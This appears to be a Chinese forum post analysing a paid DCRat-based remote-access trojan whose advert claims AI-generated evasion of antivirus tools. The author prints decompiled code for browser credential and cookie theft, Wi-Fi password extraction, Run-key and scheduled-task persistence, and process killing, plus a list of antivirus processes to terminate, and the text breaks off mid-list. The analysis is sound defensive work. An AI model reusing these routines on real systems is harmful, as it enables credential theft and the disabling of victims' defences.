首页
社区
课程
招聘
[原创]分析一个由DCRAT二开而得的远控木马
2024-4-10 21:16 1947

[原创]分析一个由DCRAT二开而得的远控木马

2024-4-10 21:16
1947

如标题所说,这次分析的是一个由DCRAT二开而得的木马
发表者的B站账户似乎还是一个企业账户(点击打开)
<超多功能的红队工具!AI加持永久免杀、可写启动项!>视频简介如下

1
2
3
4
5
6
7
8
9
10
11
为红队主机管理与免杀提供一站式服务
AI赋能的载荷免杀: 利用AI LLM技术,自动生成能够绕过最新防病毒软件和EDR系统检测的恶意载荷。我们的AI模型定期更新,以对抗安全软件的最新防御机制。
绕过启动项检测: 能绕过杀毒软件并写入启动项,确保载荷能够在系统启动时无阻碍地执行。
对抗EDR和杀毒软件: 除了免杀能力,还具备与EDR和杀毒软件直接对抗的功能,包括但不限于致盲和在必要时终止这些防御系统的运行。
用户定制载荷: 允许红队根据具体需求定制载荷,包括但不限于攻击向量、执行策略、回连方式等特殊要求。
持久化和隐蔽性: 确保一旦部署,远控载荷能够在被检测的风险极低的情况下长期有效,并提供多种隐蔽技术支持,包括内存执行、数据加密和流量伪装等。
全面的后渗透支持: 除了载荷生成和免杀外,我们还提供一系列后渗透工具和模块,帮助红队在成功渗透后进行网络横向移动、数据提取和权限提升等操作。
 
https://www.cyberspike.top
 
Cyber Spike及相关工具仅用于授权的渗透测试或主机管理用途,请勿用于其他非法行为,后果自负。

一看这个标题,心里肯定想的是
看起来蛮厉害的样子啊,这个东西,但是看到界面我就感觉到些许不对 !了
因为那个界面是由我一个朋友二开DCRAT而得的界面

这个应该是那个东西的原始版本
经过询问得知,他已经将UI以及其他部分写好给了那个B站UP主

DCRAT就不必多了
所以这里不介绍服务端了
知道Plugins里面写了什么完全可以复现出来
https://github.com/qwqdanchun/DcRat/
这算是一个常规的东西了
什么,你问我为什么这么笃定就是DCRAT


配置文件一致 甚至忘记抹除DCRAT信息
框架一致 且命中火绒等杀软的特征

既然如此
我们先从他的木马开始分析一下


由Client.dll和Client.exe
Client.exe就是原生DCRAT端 没什么好说的
这个Client.dll也就是给他所谓免杀 绕过EDR 来做准备(尽管只能绕过部分,但是确实绕过了一点点)
还有一个文件名为Load.exe 是要由服务端实时编译的东西 也就是真正写着Assembly.Load() (C#的反射加载的代码)的东西

接下来就是重头戏了,他那一堆Plugins

到底添加了什么新东西

值得卖1999RMB一周 6999一个月的

接下来我会以自己文件夹中的顺序挨个分析文件
无变化或者变化不大的的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
2024/04/10  20:02    <DIR>          .
2024/04/10  20:02    <DIR>          ..
2024/04/05  18:37            23,552 Audio.dll
2024/04/05  18:37           465,408 Chat.dll
2024/04/05  18:37            25,088 Discord.dll
2024/04/05  18:37            32,256 Extra.dll
2024/04/05  18:37            32,256 FileManager.dll
2024/04/05  18:37           284,160 FileSearcher.dll
2024/04/05  18:37            34,304 Fun.dll
2024/04/05  18:37            10,240 Keylogger.exe
2024/04/05  18:37            26,624 Logger.dll
2024/04/05  18:37            16,384 MessagePackLib.dll
2024/04/05  18:37            84,480 Miscellaneous.dll
2024/04/05  18:37            25,600 Netstat.dll
2024/04/05  18:37         1,320,960 Recovery.dll
2024/04/05  18:37           285,696 Regedit.dll
2024/04/05  18:37           109,568 RemoteCamera.dll
2024/04/05  18:37            14,336 ReverseProxy.dll
2024/04/05  18:37            28,160 SendFile.dll
2024/04/05  18:37            28,672 SendMemory.dll
              18 个文件      2,847,744 字节

接下来我们来浅浅分析一下 那些写了插件的文件吧

browser.dll

直接定位到 接受包的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
public static void Read(object data)
{
    try
    {
        MsgPack msgPack = new MsgPack();
        msgPack.DecodeFromBytes((byte[])data);
        if (msgPack.ForcePathObject("Pac_ket").AsString == "Browser_decryption")
        {
            Console.WriteLine("浏览器解密");
            Connection.Send(Packet.Browser_decryption());
        }
    }
    catch (Exception ex)
    {
        Packet.Error(ex.Message);
    }
}//调用Packet.Browser_decryption()函数
 
private static byte[] Browser_decryption()
{
    string path = Packet.Save_Browser_decryption();
    MsgPack msgPack = new MsgPack();
    msgPack.ForcePathObject("Pac_ket").AsString = "Browser_decryption";
    msgPack.ForcePathObject("ID").AsString = Connection.Hwid;
    msgPack.ForcePathObject("Filezip").SetAsBytes(File.ReadAllBytes(path));
    return msgPack.Encode2Bytes();
}
 
//经典DCRAT框架式回值 没什么说的
//msgPack.ForcePathObject("Filezip").SetAsBytes(File.ReadAllBytes(path));这一行明显就知道是什么了,将读取到的Cookie这些保存为一个.zip文件 然后发送回服务端
 
private static string Save_Browser_decryption()
{
    string text = Path.Combine(Path.GetTempPath(), "Pillager");
    string text2 = text + ".zip";
    if (Directory.Exists(text))
    {
        Directory.Delete(text, true);
    }
    if (File.Exists(text2))
    {
        File.Delete(text2);
    }
    Directory.CreateDirectory(text);
    IE.Save(text);
    OldSogou.Save(text);
    FireFox.Save(text);
    foreach (List<string> list in new List<List<string>>
    {
        new List<string>
        {
            "Chrome",
            "Google\\Chrome\\User Data\\Default"
        },
        new List<string>
        {
            "Chrome Beta",
            "Google\\Chrome Beta\\User Data\\Default"
        },
        new List<string>
        {
            "Chromium",
            "Chromium\\User Data\\Default"
        },
        new List<string>
        {
            "Edge",
            "Microsoft\\Edge\\User Data\\Default"
        },
        new List<string>
        {
            "Brave-Browser",
            "BraveSoftware\\Brave-Browser\\User Data\\Default"
        },
        new List<string>
        {
            "QQBrowser",
            "Tencent\\QQBrowser\\User Data\\Default"
        },
        new List<string>
        {
            "SogouExplorer",
            "Sogou\\SogouExplorer\\User Data\\Default"
        },
        new List<string>
        {
            "Vivaldi",
            "Vivaldi\\User Data\\Default"
        },
        new List<string>
        {
            "CocCoc",
            "CocCoc\\Browser\\User Data\\Default"
        }
    })
    {
        string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), list[1]);
        new Chrome(list[0], path).Save(text);
    }
    ZipFile.CreateFromDirectory(text, text2);
    Directory.Delete(text, true);
    return text2;
}
//在Temp目录下面创建一个名为Pillager的目录
//然后用System.IO.Compression
//遍历后 执行的恶意类包括       
/*
string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), list[1]);
new Chrome(list[0], path).Save(text);
*/

browser.dll->Chrome恶意类

这里不讲完全部,因为逻辑都相似,所以就选用一个经典的讲

(这些代码看着反编译出来的都觉得很眼熟,似乎在哪里见过)
他的一些需要包括的解密类(都是网上都可以搜到的代码和导入的函数等等)
这里别人应该会讲的比我详细的 因为我们这篇帖子 主要是分析他增加了什么恶意行为

ChormeClass()

Chorme_password()

sqliteHandler.ReadTable("logins")检查是否成功读取到了"logins"表
sqliteHandler.GetRowCount()获取"logins"表的行数,并使用循环逐行处理
sqliteHandler.GetValue(i, "origin_url")、sqliteHandler.GetValue(i, "username_value")和sqliteHandler.GetValue(i, "password_value")分别获取每行记录中的URL、用户名和密码
使用Convert.FromBase64String()将Base64编码的密码值转换为字节数组,然后使用this.DecryptData()方法对其进行解密
将解密后的密码字节数组使用UTF-8编码转换为字符串

Chrome_history()

提取 Chrome 浏览器的历史记录。
构建了一个 StringBuilder 对象用于存储历史记录
尝试复制历史记录文件到临时文件中,并使用 SQLiteHandler 类读取历史记录表格中的 URL 数据。
将每个 URL 添加到 StringBuilder 中

Chrome_cookies()

提取 Chrome 浏览器的 Cookies 数据
构建了一个 StringBuilder 对象用于存储 Cookies 数据
检查两个可能的 Cookies 文件路径,并确定哪个文件存在
(
string text = Path.Combine(this.BrowserPath, "Cookies");
string text2 = Path.Combine(this.BrowserPath, "Network\Cookies");
)
尝试复制 Cookies 文件到临时文件中,如果复制失败则尝试通过读取被锁定的文件来获取数据(也就是他的Helper里面的ReadLockedFile)
使用 SQLiteHandler 类读取 Cookies 表格中的数据,并解密加密的值。
将每个 Cookies 条目添加到 StringBuilder 中

Chrome_books() 方法

提取 Chrome 浏览器的书签数据
构建了一个 StringBuilder 对象用于存储书签数据
检查书签文件是否存在。如果不存在,则返回空字符串(也就是直接就没有这东西)
读取书签文件的内容,并将其添加到 StringBuilder 中

Save()

分别调用Chrome_cookies()、Chrome_passwords()、Chrome_books() 和 Chrome_history() 然后保存为文件

Information.dll


也是可以看出
添加了除了原本DCRAT 以外 GetScreen和Get_Wifi和Get_XManager

GetScreenThumbnail()


这个类似乎是截图一次然后讲图片写到内存流里面
应该是用来上线时获取第一次截图的

InfomationList()


调用CMD获取常规信息

GetWifi()

获取计算机上保存的 Wi-Fi 网络配置信息,包括 SSID 和密码
WlanOpenHandle 方法打开 WLAN 句柄。
WlanEnumInterfaces 方法列举 WLAN 接口。
获取第一个 WLAN 接口的 GUID。
Native.WlanGetProfileList 方法获取 WLAN 网络配置文件列表。
获取配置文件列表后,如果列表为空,则直接返回 null。
如果列表不为空,则遍历配置文件列表,对每个配置文件进行处理:
Native.WlanGetProfile 方法获取配置文件的 XML 数据。
解析 XML 数据,提取 SSID 和密码信息。
将提取的 SSID 和密码信息添加到 stringBuilder 中。
最后WlanCloseHandle关闭 WLAN 句柄。

Dllimport导入的函数

XManager

GetAllAccessibleFiles(string rootPath)


递归遍历*.xsh和*.xfp呗 没什么好讲的

DecryptSessions()


拆分字符串然后返回

Mimikatz.dll

这个DLL很有趣 有趣的地方不是在他的Syscall加载
而是告诉你 这个DLL就是Github抄下来的
https://github.com/b4rtik/SharpKatz

这个我似乎被不需要过多讲解了 自己看真正的源码就能懂了

Options.dll

接下来仅仅说新加的功能
首先说 他里面写的启动项代码无法绕过360核晶

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
TaskService taskService = new TaskService();
TaskDefinition taskDefinition = taskService.NewTask();
taskDefinition.RegistrationInfo.Description = SchtaskSetup.Description;
taskDefinition.RegistrationInfo.Author = SchtaskSetup.Author;
TimeTrigger timeTrigger = new TimeTrigger
{
    StartBoundary = Convert.ToDateTime(DateTime.Now.ToString("yyyy-MM-dd 06:30:00"))
};
timeTrigger.Repetition.Interval = TimeSpan.FromMinutes(5.0);
taskDefinition.Triggers.Add<TimeTrigger>(timeTrigger);
taskDefinition.Principal.RunLevel = TaskRunLevel.Highest;
taskDefinition.Settings.DisallowStartIfOnBatteries = false;
taskDefinition.Settings.RunOnlyIfNetworkAvailable = true;
taskDefinition.Settings.RunOnlyIfIdle = false;
taskDefinition.Settings.DisallowStartIfOnBatteries = false;
taskDefinition.Actions.Add<ExecAction>(new ExecAction(text, "", null));
taskService.RootFolder.RegisterTaskDefinition(SchtaskSetup.TaskAdmin, taskDefinition, TaskCreation.CreateOrUpdate, null, null, TaskLogonType.InteractiveToken, null);

以上代码移植过来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//另一个?抱歉一眼看着就不行
public static void Install()
{
    string path = Process.GetCurrentProcess().ProcessName + ".exe";
    string text;
    try
    {
        text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), path);
        File.Copy(Process.GetCurrentProcess().MainModule.FileName, text, true);
    }
    catch
    {
        text = Path.Combine(Path.GetTempPath(), path);
        File.Copy(Process.GetCurrentProcess().MainModule.FileName, text, true);
    }
    try
    {
        using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(Encoding.Default.GetString(Convert.FromBase64String("U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==")), RegistryKeyPermissionCheck.ReadWriteSubTree))
//SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
        {
            registryKey.SetValue(Path.GetFileNameWithoutExtension(Process.GetCurrentProcess().MainModule.FileName), "\"" + text + "\"");
        }
    }
    catch (Exception ex)
    {
        Packet.Error(ex.Message);
    }
    Send.sendGetStartUp();
}

HANDLENOSYSTEM CLASS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
 
namespace Plugin.Handler
{
    // Token: 0x02000007 RID: 7
    public class HandleNoSystem
    {
        // Token: 0x0600002C RID: 44 RVA: 0x00002F6C File Offset: 0x0000116C
        public static void NoSystem()
        {
            try
            {
                HandleNoSystem.StartProcessAsCurrentUser(Process.GetCurrentProcess().MainModule.FileName, null, null, true);
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }
 
        // Token: 0x0600002D RID: 45
        [DllImport("advapi32.dll", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Ansi, SetLastError = true)]
        private static extern bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandle, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref HandleNoSystem.STARTUPINFO lpStartupInfo, out HandleNoSystem.PROCESS_INFORMATION lpProcessInformation);
 
        // Token: 0x0600002E RID: 46
        [DllImport("advapi32.dll")]
        private static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, IntPtr lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);
 
        // Token: 0x0600002F RID: 47
        [DllImport("userenv.dll", SetLastError = true)]
        private static extern bool CreateEnvironmentBlock(ref IntPtr lpEnvironment, IntPtr hToken, bool bInherit);
 
        // Token: 0x06000030 RID: 48
        [DllImport("userenv.dll", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment);
 
        // Token: 0x06000031 RID: 49
        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool CloseHandle(IntPtr hSnapshot);
 
        // Token: 0x06000032 RID: 50
        [DllImport("kernel32.dll")]
        private static extern uint WTSGetActiveConsoleSessionId();
 
        // Token: 0x06000033 RID: 51
        [DllImport("Wtsapi32.dll")]
        private static extern uint WTSQueryUserToken(uint SessionId, ref IntPtr phToken);
 
        // Token: 0x06000034 RID: 52
        [DllImport("Wtsapi32.dll", SetLastError = true)]
        private static extern int WTSEnumerateSessions(IntPtr hServer, int Reserved, int Version, ref IntPtr ppSessionInfo, ref int pCount);
 
        // Token: 0x06000035 RID: 53 RVA: 0x00002FB8 File Offset: 0x000011B8
        private static bool GetSessionUserToken(ref IntPtr phUserToken)
        {
            bool result = false;
            IntPtr zero = IntPtr.Zero;
            uint num = uint.MaxValue;
            IntPtr zero2 = IntPtr.Zero;
            int num2 = 0;
            if (HandleNoSystem.WTSEnumerateSessions(HandleNoSystem.WTS_CURRENT_SERVER_HANDLE, 0, 1, ref zero2, ref num2) != 0)
            {
                int offset = Marshal.SizeOf(typeof(HandleNoSystem.WTS_SESSION_INFO));
                IntPtr intPtr = zero2;
                for (int i = 0; i < num2; i++)
                {
                    HandleNoSystem.WTS_SESSION_INFO wts_SESSION_INFO = (HandleNoSystem.WTS_SESSION_INFO)Marshal.PtrToStructure(intPtr, typeof(HandleNoSystem.WTS_SESSION_INFO));
                    intPtr += offset;
                    if (wts_SESSION_INFO.State == HandleNoSystem.WTS_CONNECTSTATE_CLASS.WTSActive)
                    {
                        num = wts_SESSION_INFO.SessionID;
                    }
                }
            }
            if (num == 4294967295U)
            {
                num = HandleNoSystem.WTSGetActiveConsoleSessionId();
            }
            if (HandleNoSystem.WTSQueryUserToken(num, ref zero) != 0U)
            {
                result = HandleNoSystem.DuplicateTokenEx(zero, 0U, IntPtr.Zero, 2, 1, ref phUserToken);
                HandleNoSystem.CloseHandle(zero);
            }
            return result;
        }
 
        // Token: 0x06000036 RID: 54 RVA: 0x00003084 File Offset: 0x00001284
        public static bool StartProcessAsCurrentUser(string appPath, string cmdLine = null, string workDir = null, bool visible = true)
        {
            IntPtr zero = IntPtr.Zero;
            HandleNoSystem.STARTUPINFO startupinfo = default(HandleNoSystem.STARTUPINFO);
            HandleNoSystem.PROCESS_INFORMATION process_INFORMATION = default(HandleNoSystem.PROCESS_INFORMATION);
            IntPtr zero2 = IntPtr.Zero;
            startupinfo.cb = Marshal.SizeOf(typeof(HandleNoSystem.STARTUPINFO));
            try
            {
                if (!HandleNoSystem.GetSessionUserToken(ref zero))
                {
                    throw new Exception("StartProcessAsCurrentUser: GetSessionUserToken failed.");
                }
                uint dwCreationFlags = 1024U | (visible ? 16U : 134217728U);
                startupinfo.wShowWindow = (visible ? 5 : 0);
                startupinfo.lpDesktop = "winsta0\\default";
                if (!HandleNoSystem.CreateEnvironmentBlock(ref zero2, zero, false))
                {
                    throw new Exception("StartProcessAsCurrentUser: CreateEnvironmentBlock failed.");
                }
                if (!HandleNoSystem.CreateProcessAsUser(zero, appPath, cmdLine, IntPtr.Zero, IntPtr.Zero, false, dwCreationFlags, zero2, workDir, ref startupinfo, out process_INFORMATION))
                {
                    throw new Exception("StartProcessAsCurrentUser: CreateProcessAsUser failed.  Error Code -" + Marshal.GetLastWin32Error().ToString());
                }
                int lastWin32Error = Marshal.GetLastWin32Error();
            }
            finally
            {
                HandleNoSystem.CloseHandle(zero);
                if (zero2 != IntPtr.Zero)
                {
                    HandleNoSystem.DestroyEnvironmentBlock(zero2);
                }
                HandleNoSystem.CloseHandle(process_INFORMATION.hThread);
                HandleNoSystem.CloseHandle(process_INFORMATION.hProcess);
            }
            return true;
        }
 
        // Token: 0x04000015 RID: 21
        private const int CREATE_UNICODE_ENVIRONMENT = 1024;
 
        // Token: 0x04000016 RID: 22
        private const int CREATE_NO_WINDOW = 134217728;
 
        // Token: 0x04000017 RID: 23
        private const int CREATE_NEW_CONSOLE = 16;
 
        // Token: 0x04000018 RID: 24
        private const uint INVALID_SESSION_ID = 4294967295U;
 
        // Token: 0x04000019 RID: 25
        private static readonly IntPtr WTS_CURRENT_SERVER_HANDLE = IntPtr.Zero;
 
        // Token: 0x0200011F RID: 287
        private enum SW
        {
            // Token: 0x040002F5 RID: 757
            SW_HIDE,
            // Token: 0x040002F6 RID: 758
            SW_SHOWNORMAL,
            // Token: 0x040002F7 RID: 759
            SW_NORMAL = 1,
            // Token: 0x040002F8 RID: 760
            SW_SHOWMINIMIZED,
            // Token: 0x040002F9 RID: 761
            SW_SHOWMAXIMIZED,
            // Token: 0x040002FA RID: 762
            SW_MAXIMIZE = 3,
            // Token: 0x040002FB RID: 763
            SW_SHOWNOACTIVATE,
            // Token: 0x040002FC RID: 764
            SW_SHOW,
            // Token: 0x040002FD RID: 765
            SW_MINIMIZE,
            // Token: 0x040002FE RID: 766
            SW_SHOWMINNOACTIVE,
            // Token: 0x040002FF RID: 767
            SW_SHOWNA,
            // Token: 0x04000300 RID: 768
            SW_RESTORE,
            // Token: 0x04000301 RID: 769
            SW_SHOWDEFAULT,
            // Token: 0x04000302 RID: 770
            SW_MAX = 10
        }
 
        // Token: 0x02000120 RID: 288
        private enum WTS_CONNECTSTATE_CLASS
        {
            // Token: 0x04000304 RID: 772
            WTSActive,
            // Token: 0x04000305 RID: 773
            WTSConnected,
            // Token: 0x04000306 RID: 774
            WTSConnectQuery,
            // Token: 0x04000307 RID: 775
            WTSShadow,
            // Token: 0x04000308 RID: 776
            WTSDisconnected,
            // Token: 0x04000309 RID: 777
            WTSIdle,
            // Token: 0x0400030A RID: 778
            WTSListen,
            // Token: 0x0400030B RID: 779
            WTSReset,
            // Token: 0x0400030C RID: 780
            WTSDown,
            // Token: 0x0400030D RID: 781
            WTSInit
        }
 
        // Token: 0x02000121 RID: 289
        private struct PROCESS_INFORMATION
        {
            // Token: 0x0400030E RID: 782
            public IntPtr hProcess;
 
            // Token: 0x0400030F RID: 783
            public IntPtr hThread;
 
            // Token: 0x04000310 RID: 784
            public uint dwProcessId;
 
            // Token: 0x04000311 RID: 785
            public uint dwThreadId;
        }
 
        // Token: 0x02000122 RID: 290
        private enum SECURITY_IMPERSONATION_LEVEL
        {
            // Token: 0x04000313 RID: 787
            SecurityAnonymous,
            // Token: 0x04000314 RID: 788
            SecurityIdentification,
            // Token: 0x04000315 RID: 789
            SecurityImpersonation,
            // Token: 0x04000316 RID: 790
            SecurityDelegation
        }
 
        // Token: 0x02000123 RID: 291
        private struct STARTUPINFO
        {
            // Token: 0x04000317 RID: 791
            public int cb;
 
            // Token: 0x04000318 RID: 792
            public string lpReserved;
 
            // Token: 0x04000319 RID: 793
            public string lpDesktop;
 
            // Token: 0x0400031A RID: 794
            public string lpTitle;
 
            // Token: 0x0400031B RID: 795
            public uint dwX;
 
            // Token: 0x0400031C RID: 796
            public uint dwY;
 
            // Token: 0x0400031D RID: 797
            public uint dwXSize;
 
            // Token: 0x0400031E RID: 798
            public uint dwYSize;
 
            // Token: 0x0400031F RID: 799
            public uint dwXCountChars;
 
            // Token: 0x04000320 RID: 800
            public uint dwYCountChars;
 
            // Token: 0x04000321 RID: 801
            public uint dwFillAttribute;
 
            // Token: 0x04000322 RID: 802
            public uint dwFlags;
 
            // Token: 0x04000323 RID: 803
            public short wShowWindow;
 
            // Token: 0x04000324 RID: 804
            public short cbReserved2;
 
            // Token: 0x04000325 RID: 805
            public IntPtr lpReserved2;
 
            // Token: 0x04000326 RID: 806
            public IntPtr hStdInput;
 
            // Token: 0x04000327 RID: 807
            public IntPtr hStdOutput;
 
            // Token: 0x04000328 RID: 808
            public IntPtr hStdError;
        }
 
        // Token: 0x02000124 RID: 292
        private enum TOKEN_TYPE
        { ![](upload/tmp/987662_EKHJP2GGPMFRVBF.webp)
            // Token: 0x0400032A RID: 810
            TokenPrimary = 1,
            // Token: 0x0400032B RID: 811
            TokenImpersonation
        }
 
        // Token: 0x02000125 RID: 293
        private readonly struct WTS_SESSION_INFO
        {
            // Token: 0x0400032C RID: 812
            public readonly uint SessionID;
 
            // Token: 0x0400032D RID: 813
            [MarshalAs(UnmanagedType.LPStr)]
            public readonly string pWinStationName;
 
            // Token: 0x0400032E RID: 814
            public readonly HandleNoSystem.WTS_CONNECTSTATE_CLASS State;
        }
    }
}

避免在SYSTEM权限下面很多功能无法正常使用的问题

接下来还有几个小函数 不用我讲解了 直接看他写的中文就OK了

RemoteDesktop.dll

新增的东西
通过鼠标位置来获取窗口的信息
Title Hwnd这些
代码有些简单了 随便看看就能看懂 似乎也不怎么需要讲解

SysInfo.dll

用了 System.Management获取更多的一些系统信息



ProcessManager.dll

新增用Windows的Restart Manager API来实现处理进程的关闭和重新启动
这个方法是可以杀掉一些比较弱鸡的杀软的
RmStartSession启动 Restart Manager 会话->通过指定的字符串 strSessionKey 创建了一个Restart Manager会话,并返回一个会话句柄 dwSessionHandle。
RmRegisterResources用于注册资源,以便 Restart Manager 能够跟踪它们。在这里,它注册了一个或多个文件资源以供监视 ->将进程的主模块文件名添加到列表中,并且注册这些文件资源。
RmGetList获取与会话关联的资源的状态信息 ->获取了已经注册的受影响的应用程序的列表,并返回了受影响的应用程序的数量和信息。
RmShutdown关闭 Restart Manager 会话
RmEndSession结束 Restart Manager 会话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// Token: 0x06000023 RID: 35
    [DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode)]
    private static extern int RmStartSession(out uint pSessionHandle, int dwSessionFlags, string strSessionKey);
 
    // Token: 0x06000024 RID: 36
    [DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode)]
    private static extern int RmRegisterResources(uint dwSessionHandle, uint nFiles, string[] rgsFileNames, uint nApplications, IntPtr rgApplications, uint nServices, IntPtr rgServices);
 
    // Token: 0x06000025 RID: 37
    [DllImport("rstrtmgr.dll")]
    private static extern int RmGetList(uint dwSessionHandle, out uint pnProcInfoNeeded, ref uint pnProcInfo, [In] [Out] HandleProcessManager.RM_PROCESS_INFO[] rgAffectedApps, out uint lpdwRebootReasons);
 
    // Token: 0x06000026 RID: 38
    [DllImport("rstrtmgr.dll")]
    private static extern int RmShutdown(uint dwSessionHandle, uint dwShutdownFlags, IntPtr fnStatus);
 
    // Token: 0x06000027 RID: 39
    [DllImport("rstrtmgr.dll")]
    private static extern int RmEndSession(uint dwSessionHandle);
 
    // Token: 0x06000028 RID: 40 RVA: 0x00002910 File Offset: 0x00000B10
    public void ProcessKill2(int ID)
    {
        Process processById = Process.GetProcessById(ID);
        List<string> list = new List<string>();
        list.Add(processById.MainModule.FileName);
        string strSessionKey = new string('\0', 65);
        uint dwSessionHandle;
        HandleProcessManager.RmStartSession(out dwSessionHandle, 0, strSessionKey);
        string[] array = list.ToArray();
        if (HandleProcessManager.RmRegisterResources(dwSessionHandle, (uint)array.Length, array, 0U, IntPtr.Zero, 0U, IntPtr.Zero) != 0)
        {
            HandleProcessManager.RmEndSession(dwSessionHandle);
            return;
        }
        uint num = 0U;
        HandleProcessManager.RM_PROCESS_INFO[] rgAffectedApps = new HandleProcessManager.RM_PROCESS_INFO[1];
        uint num2;
        uint num3;
        HandleProcessManager.RmGetList(dwSessionHandle, out num2, ref num, rgAffectedApps, out num3);
        HandleProcessManager.RmShutdown(dwSessionHandle, 1U, IntPtr.Zero);
    }

RunPlug.dll & RunPlug_NET.dll

RunPlug.dll

一看RunPlug.dll
哇 里面的DllMemory加载方式 都是自己写的吗?
其实不然 因为
https://github.com/schellingb/DLLFromMemory-net
与这个完全不能说是一模一样 只能说是完全一致了
和MemoryModule原理是一样的 不过是C#形式而已

RunPlug_NET.dll

1
2
3
4
5
6
7
string asString = (string)Assembly.Load(dllBytes).GetType("Program.Program").GetMethod("Start").Invoke(null, new object[]
{
args
});
//注意这句代码
//Plugins的格式是需要
//在一个名为Program的命名空间中有一个名为Program的类 需要调用的函数名必须是Start 然后加他传进去的参数

如此冗杂原版二开的Plugins终于结束了(!!!)

接下来是几个好玩的东西

AVKiller (WHQL白驱动利用)

我第一眼看到这个技术 还以为是什么高深莫测的Ring3玩意

一看 这个驱动利用真的好简单 一点验证不带有的

先看这个木马的杀毒软件进程列表吧(似乎还蛮全面的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
public static List<string> process_list = new List<string>
{
    "360tray.exe",
    "360sd.exe",
    "zhudongfangyu.exe",
    "a2guard.exe",
    "ad-watch.exe",
    "cleaner8.exe",
    "vba32lder.exe",
    "MongoosaGUI.exe",
    "CorantiControlCenter32.exe",
    "F-PROT.EXE",
    "CMCTrayIcon.exe",
    "K7TSecurity.exe",
    "UnThreat.exe",
    "CKSoftShiedAntivirus4.exe",
    "AVWatchService.exe",
    "ArcaTasksService.exe",
    "iptray.exe",
    "PSafeSysTray.exe",
    "nspupsvc.exe",
    "SpywareTerminatorShield.exe",
    "BKavService.exe",
    "MsMpEng.exe",
    "SBAMSvc.exe",
    "ccSvcHst.exe",
    "f-secure.exe",
    "avp.exe",
    "KvMonXP.exe",
    "RavMonD.exe",
    "Mcshield.exe",
    "egui.exe",
    "kxetray.exe",
    "knsdtray.exe",
    "avcenter.exe",
    "ashDisp.exe",
    "rtvscan.exe",
    "ksafe.exe",
    "QQPCRTP.exe",
    "Miner.exe",
    "AYAgent.aye",
    "patray.exe",
    "V3Svc.exe",
    "avgwdsvc.exe",
    "ccSetMgr.exe",
    "QUHLPSVC.EXE",
    "mssecess.exe",
    "SavProgress.exe",
    "fsavgui.exe",
    "vsserv.exe",
    "remupd.exe",
    "FortiTray.exe",
    "safedog.exe",
    "parmor.exe",
    "beikesan.exe",
    "KSWebShield.exe",
    "TrojanHunter.exe",
    "GG.exe",
    "adam.exe",
    "AST.exe",
    "ananwidget.exe",
    "AVK.exe",
    "ccapp.exe",
    "avg.exe",
    "spidernt.exe",
    "Mcshield.exe",
    "avgaurd.exe",
    "F-PROT.exe",
    "vsmon.exe",
    "avp.exee",
    "cpf.exe",
    "outpost.exe",
    "rfwmain.exe",
    "kpfwtray.exe",
    "FYFireWall.exe",
    "MPMon.exe",
    "pfw.exe",
    "S.exe",
    "1433.exe",
    "DUB.exe",
